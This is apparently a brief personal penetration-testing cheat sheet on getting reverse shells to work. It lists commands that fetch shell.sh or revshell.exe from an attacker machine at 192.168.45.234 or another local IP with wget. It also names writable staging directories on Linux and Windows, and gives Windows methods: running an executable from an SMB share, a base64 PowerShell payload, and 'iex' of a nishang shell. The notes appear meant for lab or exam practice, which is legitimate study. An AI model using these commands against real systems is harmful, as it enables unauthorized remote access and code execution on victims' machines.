Troubleshooting Reverse Shell
If we need to fetch a shell.sh file from KALI using wget or curl try using IP directly like this ->
wget 192.168.45.234/shell.sh
instead of
wget http://192.168.45.234/shell.sh
It works sometimesTry uploading rev-shell or exploit in different locations such as -
/tmp
/dev/shm
C:\Users\Public
C:\Windows\Temp
C:\Temp
For Windows, reverse shell can be achieved in various ways -
a. Powershell bas64 reverse shell payload
b.
cmd /c \\\\<LOCAL-IP>\\smbshare\\revshell.exe
c.
Invoke-WebRequest
commandd.
powershell -c iex <nishang-shell>
-----> Check notion for thise.
wget http://ip/revshell.exe -O C:\<target-location>\revshell.exe
f.
wget ip/revshell.exe -O C:\<target-location>\revshell.exe
Last updated